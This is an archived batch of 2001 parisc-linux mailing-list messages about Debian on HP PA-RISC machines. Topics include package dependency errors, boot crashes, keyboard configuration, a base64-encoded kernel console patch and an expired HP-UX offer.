X-Mailer: Opera 5.11 build 904
X-Priority: 3 (Normal)
Xref: news.gmane.org gmane.linux.ports.parisc:11319

Hi guys!!

Can anybody tell me where I can find those?? My system is almost ready, this is the only thing missing!!

Pleeeeze can anybody help me?

I get this message:

bhows49999:/data/archiv# dpkg -i xbase-clients_4.0.3-1_hppa.deb
(Reading database ... 8929 files and directories currently installed.)
Preparing to replace xbase-clients 4.0.3-1 (using
xbase-clients_4.0.3-1_hppa.deb) ...
Unpacking replacement xbase-clients ...
dpkg: dependency problems prevent configuration of xbase-clients:
 xbase-clients depends on libgl1; however:
  Package libgl1 is not installed.
dpkg: error processing xbase-clients (--install):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 xbase-clients
bhows49999:/data/archiv#

If anybody knows where to get this package, I would be more than happy.

Thanx in advance

Jay





From - Thu Nov 08 21:18:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clement MOYROUD <moyroudc@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Patches corrections available
Date: Tue, 12 Jun 2001 18:01:54 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20010612160154.3A99CD15AB@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620207 20720 80.91.229.3 (22 Nov 2014 01:36:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 10:02:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B579B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 10:01:59 -0600 (MDT)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP id 3A99CD15AB
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 18:01:54 +0200 (CEST)
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:11320

Hi  all!                                                              
                                                                      
The recent two patches of the ESIEE team have been corrected and new  
versions are available on our website http://www.esiee.fr/puffin.     
Thanks for trying them !                                              
                                                                      
Clement MOYROUD                                                       
ESIEE Team                                                            




From - Thu Nov 08 21:18:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xbase clients
Date: Tue, 12 Jun 2001 18:22:33 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20010612162315.541DC482A@dsl2.external.hp.com>
References: <200106121733551.SM00201@bhopc40002>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620207 20723 80.91.229.3 (22 Nov 2014 01:36:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:47 +0000 (UTC)
To: Jay Konrad <jkonrad@fonts.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 10:23:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 541DC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 10:23:15 -0600 (MDT)
Original-Received: (qmail 6431 invoked by uid 0); 12 Jun 2001 16:23:01 -0000
Original-Received: from pd9040d46.dip.t-dialin.net (HELO there) (217.4.13.70)
  by mail.gmx.net (mp030-rz3) with SMTP; 12 Jun 2001 16:23:01 -0000
X-Mailer: KMail [version 1.2.2]
In-Reply-To: <200106121733551.SM00201@bhopc40002>
Xref: news.gmane.org gmane.linux.ports.parisc:11321

Maybe:

apt-get update
apt-get install xbase-clients

Helge

On Tuesday, 12. June 2001 17:31, Jay Konrad wrote:

> Hi guys!!
>
> Can anybody tell me where I can find those?? My system is almost ready,
> this is the only thing missing!!
>
> Pleeeeze can anybody help me?
>
> I get this message:
>
> bhows49999:/data/archiv# dpkg -i xbase-clients_4.0.3-1_hppa.deb
> (Reading database ... 8929 files and directories currently installed.)
> Preparing to replace xbase-clients 4.0.3-1 (using
> xbase-clients_4.0.3-1_hppa.deb) ...
> Unpacking replacement xbase-clients ...
> dpkg: dependency problems prevent configuration of xbase-clients:
>  xbase-clients depends on libgl1; however:
>   Package libgl1 is not installed.
> dpkg: error processing xbase-clients (--install):
>  dependency problems - leaving unconfigured
> Errors were encountered while processing:
>  xbase-clients
> bhows49999:/data/archiv#
>
> If anybody knows where to get this package, I would be more than happy.
>
> Thanx in advance
>
> Jay




From - Thu Nov 08 21:18:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@Alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] clustering ??
Date: Tue, 12 Jun 2001 08:32:39 -0800 (AKDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106120829320.26952-100000@devnull.alaskatech.org>
References: <20010612094328.C1917@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620207 20725 80.91.229.3 (22 Nov 2014 01:36:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:47 +0000 (UTC)
To: PA-RISC Linux list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 10:32:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B6C9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 10:32:43 -0600 (MDT)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GETSMG02.L97 for
          <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 08:32:40 -0800 
Original-Received: from devnull.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GETSMG01.W0Z for <parisc-linux@lists.parisc-linux.org>; Tue, 12
          Jun 2001 08:32:40 -0800 
In-Reply-To: <20010612094328.C1917@megatonmonkey.net>
Xref: news.gmane.org gmane.linux.ports.parisc:11322

On Tue, 12 Jun 2001, Carlos O'Donell Jr. wrote:
[snip]
> And yes, SSH will work as a direct replacement for RSH in MPICH.
>
> However, I believed that SSH was currently broken on PA-RISC due to OpenSSL.
>
> Haven't tried compiling non-open SSH :)
> I think we might give it a shot tonight.

Not sure what "broken" may mean, but my 0.9 install has a working SSH
server running on it. Mine *was* installed with contrib and non-free
however, so it may be that a "pure" install doesn't have it.

If I remember right I was asked during the .deb install if I wanted to run
it as a server, answered yes and it's worked ever since (Same as a x86
Debian install). The 0.9 install sure does work better than the 0.6 one
did - no seg faults or errors...





From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel faults on boot
Date: Tue, 12 Jun 2001 21:44:11 +0200 (CEST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106122140380.9668-100000@leo.uni-sw.gwdg.de>
References: <20010611131636.H16532@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620208 20727 80.91.229.3 (22 Nov 2014 01:36:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:48 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 13:44:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D7F5482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 13:44:20 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 159u5D-0005ME-00; Tue, 12 Jun 2001 21:44:11 +0200
In-Reply-To: <20010611131636.H16532@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11323

On Mon, 11 Jun 2001, Richard Hirst wrote:

> > In the meantime I noticed that about every 6th time it boots up
> > without crashing, but the keyboard setting from the installation
> > (German) was obviously not saved.
>
> Correct, keyboard config is broken in the release sti image.  If you
> manage to boot you could try
>
> mv /bin/loadkeys /bin/loadkeys.old
> mv /bin/dumpkeys /bin/dumpkeys.old
> mv /etc/console-tools /etc/console-tools.old
> apt-get install console-data console-common console-tools console-tools-libs
>
>
> If that works, let me know and I'll add it to the errata.

Not really. It asked me if I wanted to select the keyboard-map from
a list, which was never displayed. It also complained that a package
'kdb' was missing, and I could not find it on the CD, before the
machine was crashing again. For the moment I give up, as I do not
have much time. But if you need specific tests, I would be happy to
assist...

Greetings,
	Peter.





From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel faults on boot
Date: Tue, 12 Jun 2001 21:46:45 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010612214645.X16532@linuxcare.com>
References: <20010611131636.H16532@linuxcare.com> <Pine.LNX.4.33.0106122140380.9668-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620208 20731 80.91.229.3 (22 Nov 2014 01:36:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 14:51:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60DF1482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 14:51:02 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id EF0A0B007; Tue, 12 Jun 2001 21:46:45 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.33.0106122140380.9668-100000@leo.uni-sw.gwdg.de>; from weilbach@uni-sw.gwdg.de on Tue, Jun 12, 2001 at 09:44:11PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11324

On Tue, Jun 12, 2001 at 09:44:11PM +0200, Peter Weilbacher wrote:
> > If that works, let me know and I'll add it to the errata.
> 
> Not really. It asked me if I wanted to select the keyboard-map from
> a list, which was never displayed. It also complained that a package
> 'kdb' was missing, and I could not find it on the CD, before the
> machine was crashing again. For the moment I give up, as I do not
> have much time. But if you need specific tests, I would be happy to
> assist...

OK, thanks for trying.  I am working on a new installer version that
I think fixes these crashes on biit with the sti install.

Richard





From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: CHS <chs@23.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New list member..
Date: Tue, 12 Jun 2001 15:19:46 -0700 (PDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0106121514010.23761-100000@methlab.23.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620208 20737 80.91.229.3 (22 Nov 2014 01:36:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:48 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 17:17:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from methlab.23.org (23.org [209.25.5.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8ECD6482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 17:17:14 -0600 (MDT)
Original-Received: from localhost (chs@localhost)
	by methlab.23.org (8.9.3/8.9.3) with ESMTP id PAA23789
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 15:19:46 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11325

Hello all. Just wanted to say hello. I've been working with linux for
about 7 years now, mainly with the slackware and redhat distributions.
This weekend I picked up a 712/80 for free, and after getting a CDROM
drive working on it (long story), managed to go through the single easiest
linux install in my entire life. Keep in mind I've never even touched an
HP PA-RISC machine until this weekend. So a big hearty kudos to you guys!
I had a couple questions though:

1.) The machine seems to work generally pretty OK, except that I get
kernel panics fairly often. This did not hinder the install at all though.
any ideas?

2.) since I've never played with HP hardware before (mostly an intel,
sparc, and apple guy), is there any good decent guide to the HP boot
console? for instance, the install readme says to check and set the clock
from the console, but I can't figure out how to do that. Also, is there a
good guide to the hardware itself? like the capabilities of the 712/80,
the video capabilities, expansion, etc... I just like to stay informed.

3.) about a year ago, I remember HP ran some deal where you could send
away for a (mostly) free copy of HP-UX, I think version 10.20. Is this
still happening? I'd really like to get a copy of HP-UX to play around
with on this machine. I'll eventually probably settle with linux, but it's
kinda unfair to the 712 to never run HP-UX on it.

Thanks again!

--
AIM: bdsmchs  ---  http://www.23.org/~chs/
------------------------------------------------------------------------
"And the rifle? Wouldn't go out naked of a rifle. When shoes and
clothes and food, when even hope is gone, we'll have the rifle."
	--John Steinbeck
------------------------------------------------------------------------








From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sticon/sercon patch for new bootfloppies...
Date: Wed, 13 Jun 2001 02:24:49 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20010613002536.AB3E8482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="------------Boundary-00=_DHEUAPEMAJDVGWCE8KM5"
X-Trace: ger.gmane.org 1416620209 20743 80.91.229.3 (22 Nov 2014 01:36:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 18:25:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id AB3E8482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 18:25:36 -0600 (MDT)
Original-Received: (qmail 9176 invoked by uid 0); 13 Jun 2001 00:25:34 -0000
Original-Received: from pd9040d46.dip.t-dialin.net (HELO there) (217.4.13.70)
  by mail.gmx.net (mp001-rz3) with SMTP; 13 Jun 2001 00:25:34 -0000
X-Mailer: KMail [version 1.2.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11326

--------------Boundary-00=_DHEUAPEMAJDVGWCE8KM5
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Subject: 

Hi,

the attached patch enables only those consoles, which are given on the linux 
kernel command line.
Examples: "console=tty0" activates STIcon only, "console=ttyS0" activates 
serial console only and if you use both on the commandline you will get the 
system messages on both consoles.

Known bugs: 
- STIcon will not show any messages which happened before the STI
	initialisation

Please test and comment
Greetings,
Helge

--------------Boundary-00=_DHEUAPEMAJDVGWCE8KM5
Content-Type: text/x-c;
  charset="iso-8859-1";
  name="PDC_CONSOLE_short.patch"
Content-Transfer-Encoding: base64
Content-Description: patch
Content-Disposition: attachment; filename="PDC_CONSOLE_short.patch"

SW5kZXg6IGFyY2gvcGFyaXNjL2tlcm5lbC9wZGNfY29ucy5jCj09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6
IC9ob21lL2N2cy9wYXJpc2MvbGludXgvYXJjaC9wYXJpc2Mva2VybmVsL3BkY19jb25zLmMsdgpy
ZXRyaWV2aW5nIHJldmlzaW9uIDEuMjUKZGlmZiAtdSAtcjEuMjUgcGRjX2NvbnMuYwotLS0gcGRj
X2NvbnMuYwkyMDAxLzA0LzA2IDA1OjEwOjU0CTEuMjUKKysrIHBkY19jb25zLmMJMjAwMS8wNi8x
MyAwNjowODoyNgpAQCAtMTEsNiArMTEsMTAgQEAKICNpbmNsdWRlIDxhc20vc3lzdGVtLmg+CiAj
aW5jbHVkZSA8YXNtL3BkYy5oPgkvKiBmb3IgaW9kY19jYWxsKCkgcHJvdG8gYW5kIGZyaWVuZHMg
Ki8KIAorCisvKiBFbmFibGUgdG8gdXNlIHRoaXMgc2ltcGxlIFBEQyBjb25zb2xlIChmb3IgZGVi
dWdnaW5nIHB1cnBvc2VzIG9ubHkhKTogKi8KKyN1bmRlZiBFQVJMWV9CT09UVVBfREVCVUcKKwog
c3RhdGljIHZvaWQgcGRjX2NvbnNvbGVfd3JpdGUoc3RydWN0IGNvbnNvbGUgKmNvLCBjb25zdCBj
aGFyICpzLCB1bnNpZ25lZCBjb3VudCkKIHsKIAl3aGlsZShjb3VudC0tKQpAQCAtNDYsMTUgKzUw
LDE4IEBACiAJaWYgKFBBR0UwLT5tZW1fY29ucy5jbF9jbGFzcyA9PSBDTF9EVVBMRVgpCiAJCW1l
bWNweSgmUEFHRTAtPm1lbV9rYmQsICZQQUdFMC0+bWVtX2NvbnMsIHNpemVvZihQQUdFMC0+bWVt
X2NvbnMpKTsKIAorI2lmZGVmIEVBUkxZX0JPT1RVUF9ERUJVRwogCXBkY19jb25zb2xlX3dyaXRl
KDAsICJQREMgQ29uc29sZSBJbml0aWFsaXplZFxuIiwgMjQpOwogCS8qIHJlZ2lzdGVyIHRoZSBw
ZGMgY29uc29sZSAqLwogCXJlZ2lzdGVyX2NvbnNvbGUoJnBkY19jb25zKTsKKyNlbmRpZiAvKiBF
QVJMWV9CT09UVVBfREVCVUcgKi8KIH0KIAogCiAvKiBVbnJlZ2lzdGVyIHRoZSBwZGMgY29uc29s
ZSB3aXRoIHRoZSBwcmludGsgY29uc29sZSBsYXllciAqLwogdm9pZCBwZGNfY29uc29sZV9kaWUo
dm9pZCkKIHsKKyNpZmRlZiBFQVJMWV9CT09UVVBfREVCVUcKIAlleHRlcm4gdW5zaWduZWQgbG9u
ZyBsb2dfc2l6ZTsgLyoga2VybmVsL3ByaW50ay5jICovCiAKIAlwcmludGsoIlN3aXRjaGluZyBm
cm9tIFBEQyBjb25zb2xlXG4iKTsKQEAgLTc0LDYgKzgxLDcgQEAKICNlbmRpZgogCiAJdW5yZWdp
c3Rlcl9jb25zb2xlKCZwZGNfY29ucyk7CisjZW5kaWYgLyogRUFSTFlfQk9PVFVQX0RFQlVHICov
CiB9CiAKIApJbmRleDogYXJjaC9wYXJpc2Mva2VybmVsL3NldHVwLmMKPT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpSQ1Mg
ZmlsZTogL2hvbWUvY3ZzL3BhcmlzYy9saW51eC9hcmNoL3BhcmlzYy9rZXJuZWwvc2V0dXAuYyx2
CnJldHJpZXZpbmcgcmV2aXNpb24gMS44MQpkaWZmIC11IC1yMS44MSBzZXR1cC5jCi0tLSBzZXR1
cC5jCTIwMDEvMDQvMDYgMDU6MTA6NTQJMS44MQorKysgc2V0dXAuYwkyMDAxLzA2LzEzIDA2OjA4
OjI3CkBAIC00MjUsMTQgKzQyNSwxMCBAQAogCQkJYm9vdF9jcHVfZGF0YS5jcHVfaHogLyAxMDAw
MDAwLAogCQkJYm9vdF9jcHVfZGF0YS5jcHVfaHogJSAxMDAwMDAwCSk7CiAKLSNpZmRlZiBDT05G
SUdfU0VSSUFMX0NPTlNPTEUKLQkvKiBub3RoaW5nICovCi0jZWxpZiBDT05GSUdfVlQKLSNpZiAg
IGRlZmluZWQoQ09ORklHX1NUSV9DT05TT0xFKQotCWNvbnN3aXRjaHAgPSAmZHVtbXlfY29uOwkv
KiB3ZSB1c2UgdGFrZV9vdmVyX2NvbnNvbGUoKSBsYXRlciAhICovCi0jZWxpZiBkZWZpbmVkKENP
TkZJR19EVU1NWV9DT05TT0xFKQotCWNvbnN3aXRjaHAgPSAmZHVtbXlfY29uOwotI2VuZGlmCisj
aWZkZWYgQ09ORklHX1ZUCisjIGlmIGRlZmluZWQoQ09ORklHX1NUSV9DT05TT0xFKSB8fCBkZWZp
bmVkKENPTkZJR19EVU1NWV9DT05TT0xFKQorICAgICAgICBjb25zd2l0Y2hwID0gJmR1bW15X2Nv
bjsgICAgICAgIC8qIHdlIHVzZSB0YWtlX292ZXJfY29uc29sZSgpIGxhdGVyICEgKi8KKyMgZW5k
aWYKICNlbmRpZgogCiB9Cgo=

--------------Boundary-00=_DHEUAPEMAJDVGWCE8KM5--




From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New list member..
Date: Tue, 12 Jun 2001 17:42:05 -0700 (PDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200106130042.RAA20436@opus.allegro.com>
References: <Pine.LNX.4.30.0106121514010.23761-100000@methlab.23.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620209 20744 80.91.229.3 (22 Nov 2014 01:36:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: chs@23.org (CHS)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 18:42:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D7D8482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 18:42:10 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id RAA20436;
	Tue, 12 Jun 2001 17:42:05 -0700
In-Reply-To: <Pine.LNX.4.30.0106121514010.23761-100000@methlab.23.org> from "CHS" at Jun 12, 2001 03:19:46 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11327

Re:

> 3.) about a year ago, I remember HP ran some deal where you could send
> away for a (mostly) free copy of HP-UX, I think version 10.20. Is this
> still happening? I'd really like to get a copy of HP-UX to play around

That was a special Y2K deal ... probably not available now.
(and it was completely free)

I had two URLs for the program, neither work now:

   http://www.software.hp.com/y2kupgrades/cust_wo_supp.html
and
   http://www.software.hp.com/y2kupgrades/swp_upgrades.html

In typical "HP: Always on [fire]" fashion, if you go to:

  http://www.software.hp.com/y2kupgrades

You see:
 
   We're sorry, this site has been discontinued. 
   Please visit the main HP Y2K website. 

Where "main HP Y2K website" is a link to: http://www.hp.com/year2000

and...yep...that gets a 404 :(

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com




From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: CHS <chs@23.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New list member..
Date: Tue, 12 Jun 2001 16:47:43 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0106121646480.23761-100000@methlab.23.org>
References: <200106130042.RAA20436@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620209 20745 80.91.229.3 (22 Nov 2014 01:36:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:49 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Stan Sieler <sieler@allegro.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 18:45:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from methlab.23.org (23.org [209.25.5.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E015482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 18:45:12 -0600 (MDT)
Original-Received: from localhost (chs@localhost)
	by methlab.23.org (8.9.3/8.9.3) with ESMTP id QAA24605;
	Tue, 12 Jun 2001 16:47:44 -0700
In-Reply-To: <200106130042.RAA20436@opus.allegro.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11328

On Tue, 12 Jun 2001, Stan Sieler wrote:

> > 3.) about a year ago, I remember HP ran some deal where you could send
> > away for a (mostly) free copy of HP-UX, I think version 10.20. Is this
> > still happening? I'd really like to get a copy of HP-UX to play around
>
> That was a special Y2K deal ... probably not available now.
> (and it was completely free)

damn, that really sucks..

I actually had sent away for and received the HP-UX media just in case I
ever got a pa-risc machine, but I seemed to have lost it.

thanks for the help..

--
AIM: bdsmchs  ---  http://www.23.org/~chs/
------------------------------------------------------------------------
"And the rifle? Wouldn't go out naked of a rifle. When shoes and
clothes and food, when even hope is gone, we'll have the rifle."
	--John Steinbeck
------------------------------------------------------------------------








From - Thu Nov 08 21:18:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matteo Boschini <boschini@cilea.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problem installing on HP735
Date: Wed, 13 Jun 2001 10:29:15 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106131025410.876-100000@boschini.sede.cilea.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620209 20751 80.91.229.3 (22 Nov 2014 01:36:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:49 +0000 (UTC)
Cc: boschini@cilea.it
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 13 02:23:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boschini.sede.cilea.it (boschini.sede.cilea.it [131.175.1.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45968482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Jun 2001 02:23:07 -0600 (MDT)
Original-Received: from localhost (boschini@localhost)
	by boschini.sede.cilea.it (8.9.3/8.9.3) with ESMTP id KAA00902;
	Wed, 13 Jun 2001 10:29:15 +0200
